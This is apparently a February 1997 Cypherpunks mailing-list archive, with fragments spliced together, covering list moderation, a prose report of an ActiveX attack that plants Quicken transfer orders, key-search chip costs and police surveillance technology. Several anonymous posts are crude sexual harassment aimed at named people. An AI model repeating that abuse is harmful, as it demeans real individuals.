-------+..........................................................+------- + ^ + : Ray Arachelian : #include :../|\.. \|/ : ray at earthweb.com :.....................................:./\|/\. <--+-->: ................ : My oppinions are my own and do not :.\/|\/. /|\ :voice: 212-725-6550 : neccesairly represent those of my :..\|/.. + v + :....................: employer. :....... .... http://www.sundernet.com ...personal.email sunder at sundernet.com ..... ---------- Forwarded message ---------- Date: Mon, 03 Feb 1997 13:26:44 -0500 From: Andy Breen To: yak at earthweb.com Subject: Another ActiveX hole hmmmmmmmmmmmmm.... ------------------ DMK: An application of covert channels. From RISKS Digest Vol 18, Issue 80. Date: 1 Feb 1997 05:12:02 GMT From: weberwu at tfh-berlin.de (Debora Weber-Wulff) Subject: Electronic Funds Transfer without stealing PIN/TAN The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television show broadcast the previous evening on which hackers from the Chaos Computer Club demonstrated how to electronically transfer funds without needing a PIN (Personal Identification Number) or TAN (Transaction Number). Apparently it suffices for the victim to visit a site which downloads an ActiveX application, which automatically starts and checks to see if Quicken, a popular financial software package that also offers electronic funds transfer, is on the machine. If so, Quicken is given a transfer order which is saved by Quicken in its pile of pending transfer orders. The next time the victim sends off the pending transfer orders to the bank (and enters in a valid PIN and TAN for that!) all the orders (= 1 transaction) are executed - money is transferred without the victim noticing! The newspaper quotes various officials at Microsoft et al expressing disbelief/outrage/"we're working on it". We discussed this briefly in class looking for a way to avoid the problem. Demanding a TAN for each transfer is not a solution, for one, the banks only send you 50 at a time, and many small companies pay their bills in bunches. Having to enter a TAN for each transaction would be quite time-consuming. Our only solution would be to forbid browsers from executing any ActiveX component without express authorization, but that rather circumvents part of what ActiveX is intended for. A small consolation: the transfer is trackable, that is, it can be determined at the bank to which account the money went. Some banks even include this information on the statement, but who checks every entry on their statements... Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str. 10, 13353 Berlin GERMANY weberwu at tfh-berlin.de From: Timothy C. May With no false modesty I tried awfully hard to compose substantive essays on crypto-political topics, often more than one per day. (Others did too, but they seem to be tapering off as well, leaving the list to be dominated by something called a "Toto," the "O.J. was framed!" ravings of Dale Thorn, the love letters between Vulis and someone name Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad I'm not reading the list in e-mail, and thus can easily avoid replying to these inanities... .......................................... Your thoughtful contributions to the list are missed, Tim. As soon as I realized that you had left the list I suspected it had something to do with its moderation. However, I must protest the inclusion of Toto's posts as one of the "inane". His posts were intentionally formulated to cause to stand out what was, indeed, inane - as he said, to "hold up a mirror". And he continually decried the list experiment, pointing out the philosophical contradiction of a moderated "anarchist" forum. If the antidote to bad speech is more speech, then he certainly provided some, although not on the level or style as yourself. And you may say that some of these posts are not worth replying to, but didn't I see you respond to one of Dale's, regarding a photo of Jessica-the-pilot which he keeps above his desk? .. Blanc From ichudov at algebra.com Mon Feb 3 14:46:56 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Mon, 3 Feb 1997 14:46:56 -0800 (PST) Subject: Filling Power Vacuums In-Reply-To: <199702032224.OAA00880@netcom9.netcom.com> Message-ID: <199702032242.QAA01249@manifold.algebra.com> vovochka wrote: > timmy writes: > > < > <"fill the power vacuum" and grab power. > > ah, so what's the solution? Maybe there is a way to set up a structure that allows for no power to appear. In fact, I know one. > don't worry timmy, you'll feel better later after you've forgotten > that there was some deep lesson in all this. - Igor. From azur at netcom.com Mon Feb 3 14:56:00 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 3 Feb 1997 14:56:00 -0800 (PST) Subject: GAK/KR spin Message-ID: <199702032256.OAA04944@toad.com> Several months back there were discussions on the list regarding renaming the government's key escrow/recovery proposals (KRAP comes to mind). I think we need something that's catchy and simple (perhaps already familiar) to understand for the semi-litterate citizen units. I propose we encourage use of the terms "crippleware" or "crypto crippleware" when refering to the products limited to their weak crypto and/or key escrow/recovery. --Steve From ichudov at algebra.com Mon Feb 3 14:56:07 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Mon, 3 Feb 1997 14:56:07 -0800 (PST) Subject: Filling Power Vacuums Message-ID: <199702032256.OAA04959@toad.com> vovochka wrote: > timmy writes: > > < > <"fill the power vacuum" and grab power. > > ah, so what's the solution? Maybe there is a way to set up a structure that allows for no power to appear. In fact, I know one. > don't worry timmy, you'll feel better later after you've forgotten > that there was some deep lesson in all this. - Igor. From eb at comsec.com Mon Feb 3 14:56:33 1997 From: eb at comsec.com (Eric Blossom) Date: Mon, 3 Feb 1997 14:56:33 -0800 (PST) Subject: RC5-12/32/5 contest solved Message-ID: <199702032256.OAA04984@toad.com> A. Padgett Peterson P.E. Information Security apparently wrote: > Have good reason to believe your estimate for a purpose built machine this > year (expect 600,000,000 to 1,000,000,000 kps per sieve - these will not > be cheap chips but will be commecially available). Expect 400 arrays > would be required to do DES in a day (average) but is a lot more > achievable than the 65k postulated by the gang of nine. I received a nice flyer in the mail the other day from "Chip Express" (www.chipexpress.com, 800-95-CHIPX). They are offering Laser Programmed Gate Arrays. It appears to be a reasonable way to get some Wiener chips built. As I recall, the Wiener design required about 23,000 gates. Their blurb had the following table in in: FPGA Gates ASIC Gates 500 Units 1000 Units 5000 Units 40,000 20,000 $77 $45 $10 Not Avail 200,000 $176 $150 $82 So it appears that you can get 5000 Wiener key search chips build for about $50K. I'm not sure about the speed, but I wouldn't be surprised if you could clock these at 50 MHz. The Wiener design is pipelined and searches one key per clock, so each chip could search 50e6 keys / second. 50e6 * 5000 = 250e9 keys / second for $50K Happy Hunting... Eric From pdh at best.com Mon Feb 3 14:57:01 1997 From: pdh at best.com (Peter Hendrickson) Date: Mon, 3 Feb 1997 14:57:01 -0800 (PST) Subject: Information Warfare Message-ID: <199702032257.OAA05015@toad.com> The cypherpunks list has been under "attack" for some time. How have we managed it? Very poorly in my view. Some people have dismissed the idea that rogue governmental elements are behind some of our problems. Yet, there is no reason to rule out this hypothesis. The government has not always behaved well with regards to its perceived enemies in the last few decades. The FBI seems to infiltrate everything - even churches!. This is well documented. The CIA has worked hard on disrupting various political movements of which it did not approve using provocateurs and other conspiratorial dirty tricks. (I believe the FBI has, too, but I do not recall any documentation offhand.) We know that "Information Warfare" is the big thing in the defense establishment right now. It's all over their web pages. We see articles from the Kennedy School which seem to compare free speech with disease. Etc. Etc. We also believe that the things the Cypherpunks are interested in are on the radar screen. Maybe the Cypherpunks are, too. Is it unreasonable to ask whether some people are getting funding to experiment with disrupting "groups" like the Cypherpunks? I can easily picture people inventing all sorts of important sounding words like "psy-op" for what is little more than rudeness. Whatever the cause of the disruptions, the solutions are the same. Most of the proposals I've been hearing have to do with controlling the behavior of other cypherpunks and creating more structure. This is a mistake. It's clear that even the definitions of "spam" and "flame" are hard to nail down. The next idea will be to moderate on the basis of content. How will we decide what is content? Clearly that's much too important a question to leave to just one person. What we need is a committee to decide! What's next? Robert's Rules of Order? All of this detracts from the work we have before us. If you've ever been involved with a non-profit organization, you will know that enormous energy is spent on internal political scheming. That's a boring waste of time. Let's go down a better path. Let's think about the best way for each cypherpunk to manage disruptions. Please consider these suggestions: 1. Filter noise. I filter based on origin. If a kill file doesn't work, use a positive filter to read messages only from people who are worthwhile. It has been suggested that this doesn't work because some people post garbage, but also occasionally post something good. There's gold in the ocean, too. Why don't we retrieve it? If you don't want to manage a filter yourself, find somebody to do it for you. A number of people offer filtering services. Remember that in an open forum, noise increases with signal. The more worthwhile and interesting threads are on the list, the more worthless postings we are going to see, particlarly when people are consciously disruptive. 2. Post signal. Filters are useless when there is no signal. Signal comes from cypherpunks. You are a cypherpunk. 3. Birds of a feather flock together. When you respond to somebody, you mingle your on-line identity with theirs. Fly with the eagles. Peter Hendrickson ph at netcom.com From vznuri at netcom.com Mon Feb 3 14:57:04 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Mon, 3 Feb 1997 14:57:04 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702032257.OAA05024@toad.com> <* The mechanics of the announcement troubled me greatly. To be blunt, I was At 1:12 PM 2/3/1997, Lucky Green wrote: >At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote: >>At 11:38 AM 2/3/1997, Lucky Green wrote: >>> I am well aware of the name recognition and reputation capital associated >>> with CP, still I believe it best to *kill the list*. >> If you don't like the list, why not unsubscribe? > That won't solve the problem. The list has become counterproductive. It is > impossible for other lists to provide a real forum for the discussion of > the topics that this list used to be about while CP still exists. At the > same time, CP has long stopped providing such a forum. CP is draining > energy from its subscribers and the cause. Kill it! Kill it now! Who should do what to comply with your proposal? Should John shut down the list? Are you asking everybody to unsubscribe? I don't think "killing the list" is an option for you or anybody else. The List transcends all domains. Peter Hendrickson ph at netcom.com From aba at dcs.ex.ac.uk Mon Feb 3 14:59:04 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Mon, 3 Feb 1997 14:59:04 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702032259.OAA05072@toad.com> My main complaints about the `filtering' service forced upon the list readership are that: 1. It was done to the main list! If cypherpunks were left unchanged, and a `cypherpunks-edited' were created I wouldn't have a problem, it would be just another filtered list. However there are already several filtered lists, so the usefulness of this is limited anyway. Merely including details of these filtered lists in the sign on message, and posting a reminder every few weeks would suffice. I and apparently, most others didn't choose to subscribe to a filtering service. I object to this choice being over-ridden. OK, so I can re-subscribe to cypherpunks (cypherpunks-unedited), but many won't bother. (Actually I subscribe to cypherpunks-flames and cypherpunks, as the most efficient way of receiving all messages, and still being able to see the moderation results). 2. The impetus for moderating the main list seems to be as a result of a few posts by Dimitri. Really, if this is all it takes to destroy an unmoderated list, I've got to laugh at cypherpunks collectively. Why is it such a big deal to press the `n' key, if you don't like what Dimitri, or anyone else, has to say? If your time is too valuable to press `n' keys, what is wrong with subscribing to the existing filtered lists? Or with setting up a kill-file? Or maybe generating a bit of signal yourself? 3. It is even more funny that in my opinion Dimitri purposefully set out to raise the issue of censorship (after his own partial censorship), and has succeeded to this extent. The whole thing is just allowing yourself to be manipulated by his transparent efforts. 4. There is already a moderated forum for discussion of cypherpunks issues: cryptography at c2.net, why do we need another one? My vote is for renaming: `cypherpunks-unedited' -> `cypherpunks' and `cypherpunks' -> `cypherpunks-edited' and for moving all those still on the edited list to the unedited list. Post a note advertising the availability of a new filtering service called `cypherpunks-edited at toad.com', along with the references to the other competing filtering services. If at the end of the trial forced moderation period, John Gilmore doesn't have the bandwidth on toad.com to support all of `cypherpunks', `cypherpunks-edited' and `cypherpunks-flames', I suggest that a new home is found for `cypherpunks'. Or perhaps Sandy as proponent of his filtering service, would be able to find a home for `sandys-filtered-cypherpunks' service, as with the other filtering services. Personally, I am not in the habit of flaming people, or using the word `fuck', in general discussion, but I find the way this `filtering service' was foisted on the main list highly objectionable. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 timmy writes: And since I don't wish to assume the mantle ... Cylink (CYLK) announced today that the government has approved export of the company's security products containing strong encryption. Likewise, Digital Equipment (DEC) has also won approval and plans to begin shipments of encryption-enabled networking and system software immediately. A third company, Trusted Information Systems, effectively had approval before January 1 because of its existing key recovery technology. ... http://www.news.com/News/Item/0,4,7575,00.html From roach_s at alph.swosu.edu Mon Feb 3 15:31:53 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Mon, 3 Feb 1997 15:31:53 -0800 (PST) Subject: concerning Ben Franklin Message-ID: <199702032331.PAA05637@toad.com> I was reading one of the posts in the thread reguarding sone stolen object in Miami, the one reffering to the locks of the boxes, and it got me thinking. Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman, and bookburner (according to F451). Perhaps he should be considered to be a cypherpunk, not that he necessarily knew anything about crypto, but because he was interested in many of the same ideals. It is my belief that were he alive today, he would be on this list. If the work of fiction referred to above, and in another recent post, is accurate in its reference to Franklin, then he would seem to have had the same solution to net pollution, burn it. Rather than considering Ben Franklin the first fireman, I would like to think of him as an early breed of cypherpunk. By this I consider cypherpunk to be interested in the subject, and its outcome, and a cryptographer to be just one faction of cypherpunk. Merely my opinion. Does anyone know whether or not Mr. Franklin may have played with code as well? All of my sources were assimilated into my understanding of the man several years ago, and at the time crypto was less in the public eye than it is now. From winsock at rigel.cyberpass.net Mon Feb 3 15:31:54 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Mon, 3 Feb 1997 15:31:54 -0800 (PST) Subject: [PKP] Info please! Message-ID: <199702032331.PAA13031@sirius.infonex.com> Debauchery L[ethargic] Vilus K[unt]OTM likes to be the man in the middle, getting it both up the ass and in his mouth. ,/ \, ((__,-"""-,__)) `--)~ ~(--` .-'( )`-, Debauchery L[ethargic] Vilus K[unt]OTM `~~`d\ /b`~~` | | (6___6) `---` From winsock at rigel.cyberpass.net Mon Feb 3 15:35:31 1997 From: winsock at rigel.cyberpass.net (WinSock Remailer) Date: Mon, 3 Feb 1997 15:35:31 -0800 (PST) Subject: Editted Edupage Message-ID: <199702032334.PAA13147@sirius.infonex.com> When Dimitri L[eisuresuit] Vulis K[arcinogen] Of The Month's mother gave birth to him after fucking with a bunch of sailors, she didn't know who the father was but decided to tell him that he was a Russian as the Russian sailor was the one who satisfied her the most. _ I I I~I I~I __ _ I~I _ . \ \ I_I/I-II-II \~~\' `-'`-'~I \_ ) ~\_ /~~ ) Dimitri L[eisuresuit] Vulis K[arcinogen] Of The Month \_ Y )' \ ^ / |~ ~| ===== From svmcguir at syr.edu Mon Feb 3 15:43:04 1997 From: svmcguir at syr.edu (Scott V. McGuire) Date: Mon, 3 Feb 1997 15:43:04 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702030626.WAA14617@toad.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- I've been quiet about the moderation experiment (and I never posted frequently anyway) but something Sandy wrote requires comment. In responding to Tim, Sandy points to the number of people on the censored list as evidence of the acceptance of the filtering. I am included in that group and object to my silence being interpreted as support. As Tim has pointed out, the bulk of the 2000 or so people who have remained on the filtered list have never been active participants on the list. As we have never heard from them, we don't even know that they were bothered by the flames and noise of the pre-filtered list. And, even if we did know, I don't think that there opinions should count as much as those of the more active participants to the list. A subscription to the list does not make one a member of the Cypherpunks "community". It is the opinion of the members of the community and not the observers of it which should matter. (Even within the community, some people are more a part of it than others, and nobody is more a part of it then Tim.) As for the rest of us on the filtered list who are active (or occasionally active) participants, our remaining on the list still can not be taken as support for censorship. Moderation of the list was announced as a one month experiment. I didn't change my subscription from the filtered to the unfiltered list because I expected this to end in a month and I was willing to participate in the experiment. You can't ask someone to try something for a month to see if they like it and call there use of it in that month evidence that they like it. As long as I am writing, I may as well write the rest of my thoughts. While there was a period between the announcement of moderation and the start of it during which people could (and did) comment on the change, the announcement was clear that there would be moderation. It was indeed a fait accompli. The moderated list should have been offered but not imposed. Then the experiment would have determined how many people thought the list was so bad that they would seek moderation, rather than determining how many thought moderation was so bad that they would seek to avoid it. Sandy, you said that you thought the list had improved since you began moderating. How could you think otherwise? When you send an article to the flames list its because you think the list would have been worse otherwise. I don't think the moderators opinion should be considered in determining if moderation is a good thing. I think there is a conflict of interest there. - -------------------- Scott V. McGuire PGP key available at http://web.syr.edu/~svmcguir Key fingerprint = 86 B1 10 3F 4E 48 75 0E 96 9B 1E 52 8B B1 26 05 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQCVAwUBMvZ3lN7xoXfnt4lpAQGjbgQAs9qqrOZCgHeT19yh6LOS8rsXVAglssVI 2VLCiKb/X0Ny1+p3kzTiit42uykv5IhoCn+GdJF0X08zW02ymRf6JIv2sLksW2ln E+SZuUoLFk18emLIJMEVGNPW7cJEl7/a75IdETrU14RcdBN8F86bm5VK36kyNMIY kPfB825uWxU= =N3va -----END PGP SIGNATURE----- From nobody at huge.cajones.com Mon Feb 3 15:56:08 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 3 Feb 1997 15:56:08 -0800 (PST) Subject: now we know why it was called altavista! Message-ID: <199702032356.PAA06433@toad.com> ... Cylink (CYLK) announced today that the government has approved export of the company's security products containing strong encryption. Likewise, Digital Equipment (DEC) has also won approval and plans to begin shipments of encryption-enabled networking and system software immediately. A third company, Trusted Information Systems, effectively had approval before January 1 because of its existing key recovery technology. ... http://www.news.com/News/Item/0,4,7575,00.html From azur at netcom.com Mon Feb 3 15:56:19 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 3 Feb 1997 15:56:19 -0800 (PST) Subject: New X-Ray Imager Message-ID: New X-ray gun trades privacy for safety Reported by Andy C Seen in The Nando Times on 13 August 1996 ---------------------------------------------------------------------------- The Passive Millimeter Wave Imager can X-ray through clothing to "see" a concealed weapon, plastic explosives or drugs. A police officer can surreptitiously aim it into a crowd from as far away as 90 feet. The new X-ray gun is becoming a symbol for an unlikely alliance of civil libertarians and gun owners who fear the fight against crime and terrorism may be waged at the expense of personal freedoms. "I'm incredibly concerned," said John Henry Hingson, a past president of the National Association of Criminal Defense Lawyers, meeting here this past week. "The entire nation could become a victim of illegal searches and seizures and the law is powerless to protect them from these police abuses." But in these nervous times following the the crash of TWA Fight 800 and bombings at the Olympics, Oklahoma City and the World Trade Center, many Americans are now willing to trade some of their privacy and civil liberties for greater security. A poll last week by the Los Angeles Times found that a majority of people -- 58 percent -- said they would curtail some civil liberties if it would help thwart terrorism. Thirteen percent said it would depend on what rights were at stake. The poll didn't ask people to single out any rights. The Clinton administration has proposed increased wiretapping and other anti-terrorism steps, and is doling out research grants for cutting edge anti-crime technology that once may have been intended for only military use. Last year, the National Institute of Justice awarded $2.1 million to three companies to develop weapon detectors for airports, stores and public buildings. Two models are being developed of the Passive Millimeter Wave Imager, a creation of Hadley, Massachusetts-based Millimetrix Corp. The larger one, about the size of a shoebox, is mounted on a patrol car and pointed at the unsuspecting person. The gadget doesn't send out X-rays; instead, it picks up electromagnetic waves emitted by human flesh. Anything that stands in the way of those waves -- like a gun -- or anything that emits weaker waves -- like a bag of cocaine or a plastic explosive -- will show up on a little screen in the patrol car. Clothes emit no waves. Neither do walls, allowing the device to be used from even outside a room. A second model is a smaller, battery-operated version that an officer can operate by hand, like a radar gun. Millimetrix hopes to field test the larger model soon at a police agency. Hingson argues the device runs roughshod over bans against illegal searches and seizures. The law says police can stop and frisk a person only when an officer has a "reasonable suspicion" the person is armed or involved in a crime. Millimetrix points out that while the imager can see through clothing, it still leaves people some privacy. The device's display screen, the company says, "does not reveal intimate anatomical details of the person." Chip Walker, spokesman for the National Rifle Association, noted that devices like the imager threaten the legal rights of people in 31 states who are allowed to carry concealed weapons with proper licenses. "We certainly support efforts to disarm criminals, but we need to be careful that we're not painting with too broad a brush here," he said. Walker said that as troubling as terrorism is, people may be playing into terrorists' hands by giving up their privacy. "One of the broader issues is that if we start giving up certain civil liberties, that essentially means that the terrorists are starting to accomplish one of their goals," he said. Contact email address: acobley at mic.dundee.ac.uk --------------------- (From a TRW development program description) The Passive Millimeter Wave sensor detects thermal energy, which is radiated from objects and reflected from other objects such as the sky in the 94 Giga Hertz frequency band. The advantage of this frequency is that there is little attenuation of the energy by water particles in the air (fog). The camera operates very much like a television camera except that it operates at mm-wave frequencies (near 90 GHz) instead of in the visible spectrum. It has components analogous to a television camera: optics to focus the image, a readout device to convert the electromagnetic energy into electrical signals, signal processing electronics to prepare the signals for display, and display unit to view the scene. The optical system images the blackbody radiation emanating from the scene on the Focal Plane Array (FPA), which consists of an array of small antennas, each coupled to a very small MMIC W-band (90 GHz) direct-detection receiver. ---------------- >From a description of the National Law Enforcement & Corrections Technology Center/Northeast (NLECTC) at Rome Laboratory (more on that later). The Millimeter Wave Imaging Radar Consortium seeks development of a suitable technology and effective, affordable products for concealed weapon detection (CWD) and through-the-wall surveillance (TWS) application --- well-established objectives for both military operations other than war and civilian law enforcement agencies. Consortium members include Millimetrix Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.; and Riverside Research Institute of Lexington, Mass. They will contribute $2,035,087 to the research program, while the government's share will be $2,018,491. Military applications of the envisioned technology, in addition to operations other than war, would include use by military police and special forces personnel, all weather aircraft operation, shipboard and airborne missile warning, helicopter obstacle avoidance, battlefield surveillance, fire control, and missile seekers. Civilian law enforcement agencies would be able to use the technology in curtailing terrorist acts and juvenile handgun crimes that frequently involve the use of concealed weapons, bombs and other contraband that cannot be detected using currently available technology see --Steve From azur at netcom.com Mon Feb 3 15:56:33 1997 From: azur at netcom.com (Steve Schear) Date: Mon, 3 Feb 1997 15:56:33 -0800 (PST) Subject: Your tax dollars at work Message-ID: NIJ Opens Regional Technology Center in Rome: Representatives of the U.S. Department of Justice, state and local elected officials, and Air Force leaders officially opened the National Law Enforcement & Corrections Technology Center/Northeast (NLECTC) at Rome Laboratory. The Center will work with law en forcement and corrections organizations from 16 states --- stretching from Maine to Minnesota --- to determine operational requirem ents and identify, evaluate, develop, demonstrate and assess new or improved technology applications to meet those needs. The Center will also provide assessment of law enforcement products information, standards and testing. The Northeast NLECTC is co-located with Rome Laboratory within the Griffiss Business and Technology Park. Rome Laboratory is the Air Force's research and development laboratory responsible for command, control, communications, computer and intelligence technologies. The laboratory was selected as a regional technology center for the Justice Department's National Institute of Justice (NIJ) in December 1994. It joins four other regional centers across the country that use existing facilities and resources to support the NI J's Office of Science and Technology and law enforcement and corrections organizations. The Northeast NLECTC will support law enforcement and corrections activities in the following states: Maine, New Hampshire, Verm ont, Massachusetts, Connecticut, Rhode Island, New York, New Jersey, Delaware, Maryland, Pennsylvania, Ohio Michigan, Wisconsin, Io wa and Minnesota. It will facilitate technical interchange between prospective users and developers or technology through regional symposia, exhibitions and workshops. Participants range from the law enforcement and corrections community to the Department of De fense and the commercial sector. Each of the five regional centers has a specific technological focus, with the Northeast NLECTC capitalizing on Rome Laboratory' s more than 40 years of expertise developing technologies that provided the vital eyes, ears and voices for the nation's military. The Rome Laboratory Law Enforcement Team will be working with the Northeast NLECTC to convert a variety of defense technologies to the benefit of law enforcement and corrections. At the current time, efforts are directed at transferring technologies in the foll owing areas: *** Sensors: concealed weapon detection, Over-the-Horizon radar, wall penetration surveillance, and passive location, tracking and tagging. *** Information Technology: image processing, natural language processing, and identification using optical correlation. *** Intelligence Exploitation: speech processing, timeline analysis, automated firearm identification, and forensic sciences. *** Communications: applications of high-speed networks, multiband multifunction radios, and rapidly deployable communications. *** Command and Control: collaborative planning, visualization techniques, and Joint Automated Booking Station. Over the past four decades, researchers at Rome Laboratory have developed a vast array of technological tools for the military to e mploy in our national defense. Within the shared framework of command, control, communications and intelligence, many of those tech nologies apply to the domestic law enforcement mission as well. As one of NLECTC's regional law enforcement technology centers, Ro me Laboratory will continue to make substantial contributions to the war on crime by developing technologies that meet the increasi ng needs of law enforcement. Rome Laboratory Signs Law Enforcement Technology Agreement with City of Rome Representatives of Rome Laboratory and the City of Rome signed a Cooperative Research and Development Agreement (CRDA) to establ ish a formal working agreement for the purpose of testing and evaluating military technologies in a law enforcement setting. The C RDA signing was the first official action following a ribbon-cutting that opened the National Institute of Justice's Northeast Regi on National Law Enforcement & Corrections Technology Center at Rome Laboratory. Signing the agreement were Col. Ted. F. Bowlds, com mander of Rome Laboratory, and Rome Police Chief Merino J. Ciccone. During the five-year agreement, Rome Laboratory will supply a variety of technologies to the Rome Police Department. Police department officers and officials will then test, evaluate and report back to Rome Laboratory regarding the effectiveness of the test technologies. Some of the technical tasks to be performed under t he CRDA are enhancing the computing capability of the Rome Police Department, including improved access to law enforcement data bas es and access to the World Wide Web/Internet, as well as synchronization of 911 Emergency System, computer and alarm time clocks. Rome Police Department personnel will also gain access to advanced technologies such as the "sniffer alcohol detection flashlight," night-vision goggles and hand-held digital assistants. German Magazine interested in Rome Laboratory's Law Enforcement Efforts Dr. Frank Ochmann, a science editor for Germany's Stern Magazine, visited Rome Laboratory to interview engineers and managers involved in law enforcement technology. The interview was requested in light of the April issue of the FBI Law Enforcement Bulletin, which carried an eight-page article covering a wide variety of C3I technologies developed by the Laboratory. Rome Laboratory Awards Funding to Research Consortia for Dual-Use Military and Law Enforcement Applications ROME, N.Y., June 25, 1996 --- Rome Laboratory has awarded funding totaling more than $5 million to three research consortia. Combined with investment by the consortia partners, the total amount of research will approach $17 million. Rome Laboratory will serve as the agent for the Defense Advanced Research Projects Agency (DARPA) in managing the three research programs that were instituted under DARPA's Technology Reinvestment Project. The goal of all three programs is to develop new technologies with applications to both the military and commercial markets. The Quick Reaction Spoken Language Translator (QRSLT) Consortium seeks to develop a product prototype of a hand-held or body-mounted QRSLT that would allow military personnel in a hostile environment or civilian law enforcement personnel in an emergency situation to communicate with a non-English speaking individual using an easily portable, automatic translation device. The government is contributing $2,374,821 to the program, with consortium members sharing a cost of $3,632,852. Consortium members include Language Systems Inc., Woodland, Calif.; Entropic Research Laboratories Inc., Menlo Park, Calif.; and Eloquent Technology Inc. of Ithaca, N.Y. Language Systems Incorporated, developed the initial spoken language translation prototype under the direction and funding of Rome Laboratory, in support of military requirements. The QRSLT will accept spoken English input from a military or law enforcement user, translate the input into Spanish or Arabic, and generate the computer-spoken translation. The translator will also accept spoken Spanish and Arabic inputs and translate them into spoken English output. This will be an innovative advance over currently available "speaking translators," which produce speech based on typed inputs, which cannot accept spoken input, and which are not customized for military or law enforcement operations. The Millimeter Wave Imaging Radar Consortium seeks development of a suitable technology and effective, affordable products for concealed weapon detection (CWD) and through-the-wall surveillance (TWS) application --- well-established objectives for both military operations other than war and civilian law enforcement agencies. Consortium members include Millimetrix Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.; and Riverside Research Institute of Lexington, Mass. They will contribute $2,035,087 to the research program, while the government's share will be $2,018,491. Military applications of the envisioned technology, in addition to operations other than war, would include use by military police and special forces personnel, all weather aircraft operation, shipboard and airborne missile warning, helicopter obstacle avoidance, battlefield surveillance, fire control, and missile seekers. Civilian law enforcement agencies would be able to use the technology in curtailing terrorist acts and juvenile handgun crimes that frequently involve the use of concealed weapons, bombs and other contraband that cannot be detected using currently available technology. The Speaker Identification for Law Enforcement Consortium will be funded with $3.2 million, evenly divided between the government and consortium members T-NETIX Inc. of Englewood, Colo., and Dictaphone of Stratford, Conn. The goal of the consortium is to transfer previously developed speaker identification technology into commercial and military applications. With specific emphasis on minimal size, weight, power and cost, the technology is envisioned to have widespread civilian law enforcement surveillance applications. see From jmr at shopmiami.com Mon Feb 3 15:56:54 1997 From: jmr at shopmiami.com (Jim Ray) Date: Mon, 3 Feb 1997 15:56:54 -0800 (PST) Subject: "Secret" Postal Device -- Update. Message-ID: <199702032356.PAA06506@toad.com> It seems as though it's a keyring(!) with one (some?) of the/those key(s) they use to unlock all the mailboxes for apartment houses. I guess it's a keyring too big for a pocket, but I don't know. Herald reporter revealed this today, but didn't want to. I guessed right, and he ended up admitting it after I informed him of how I know various Herald reporters and sorta social engineered him into saying too much by keeping him talking. :-) My mail has been acting up all weekend due to something unknown happening at Sprint. JMR -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEPAwUBMvZg9TUhsGSn1j2pAQFSNQfPTQ5WVwEu5AoNGoAY/jguoMIMdmOBtp0i fB6ralJD29b0VJ0ci8Z7l/vDoqhwMCT+nbP0Upp8xFDP391hbg4I2/H3KcDUxEen YRzB61k64UOuEVVQoeLJDq8/yyutZHLc599J93lTC6nmPqaogUzdYEjcyMnLuW/D j91pXvst+4IddZ7Aavnucu5AdwN84AitWc5/1sCBUpNlE6StcDtMtndkDnZT3f5H SZezlFpBB0UcRPirehSjaeSbWkgFeiLBIVLfLfFfJ+Fn1zHAeJ20L5fw7M7dAwp6 DruKucQ0jaIGpfeZJnPkwqYyKAmD63e+fFprw2/LaGQgxw== =pcrs -----END PGP SIGNATURE----- Regards, Jim Ray DNRC Minister of Encryption Advocacy One of the "legitimate concerns of law enforcement" seems to be that I was born innocent until proven guilty and not the other way around. -- me http://shopmiami.com/prs/jimray/ PGP id.A7D63DA9 98 1F 39 BA 93 86 B4 F5 57 52 64 0E DA BA 2C 71 From roach_s at alph.swosu.edu Mon Feb 3 15:58:36 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Mon, 3 Feb 1997 15:58:36 -0800 (PST) Subject: concerning Ben Franklin Message-ID: <199702032358.PAA06548@toad.com> I was reading one of the posts in the thread reguarding sone stolen object in Miami, the one reffering to the locks of the boxes, and it got me thinking. Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman, and bookburner (according to F451). Perhaps he should be considered to be a cypherpunk, not that he necessarily knew anything about crypto, but because he was interested in many of the same ideals. It is my belief that were he alive today, he would be on this list. If the work of fiction referred to above, and in another recent post, is accurate in its reference to Franklin, then he would seem to have had the same solution to net pollution, burn it. Rather than considering Ben Franklin the first fireman, I would like to think of him as an early breed of cypherpunk. By this I consider cypherpunk to be interested in the subject, and its outcome, and a cryptographer to be just one faction of cypherpunk. Merely my opinion. Does anyone know whether or not Mr. Franklin may have played with code as well? All of my sources were assimilated into my understanding of the man several years ago, and at the time crypto was less in the public eye than it is now. From nobody at zifi.genetics.utah.edu Mon Feb 3 15:59:03 1997 From: nobody at zifi.genetics.utah.edu (Anonymous) Date: Mon, 3 Feb 1997 15:59:03 -0800 (PST) Subject: Race and IQ Message-ID: <199702032359.QAA11023@zifi.genetics.utah.edu> Dense Vinegar had his foreskin ripped off last night by a vacuum cleaner. ^-^-^-@@-^-^-^ (..) Dense Vinegar From roach_s at alph.swosu.edu Mon Feb 3 16:15:51 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Mon, 3 Feb 1997 16:15:51 -0800 (PST) Subject: VOICE STRESS ANALYSIS Message-ID: <199702040015.QAA06962@toad.com> At 08:25 PM 2/2/97 -0800, jim bell wrote: >Awhile back we were discussing voice-stress analysis; just got 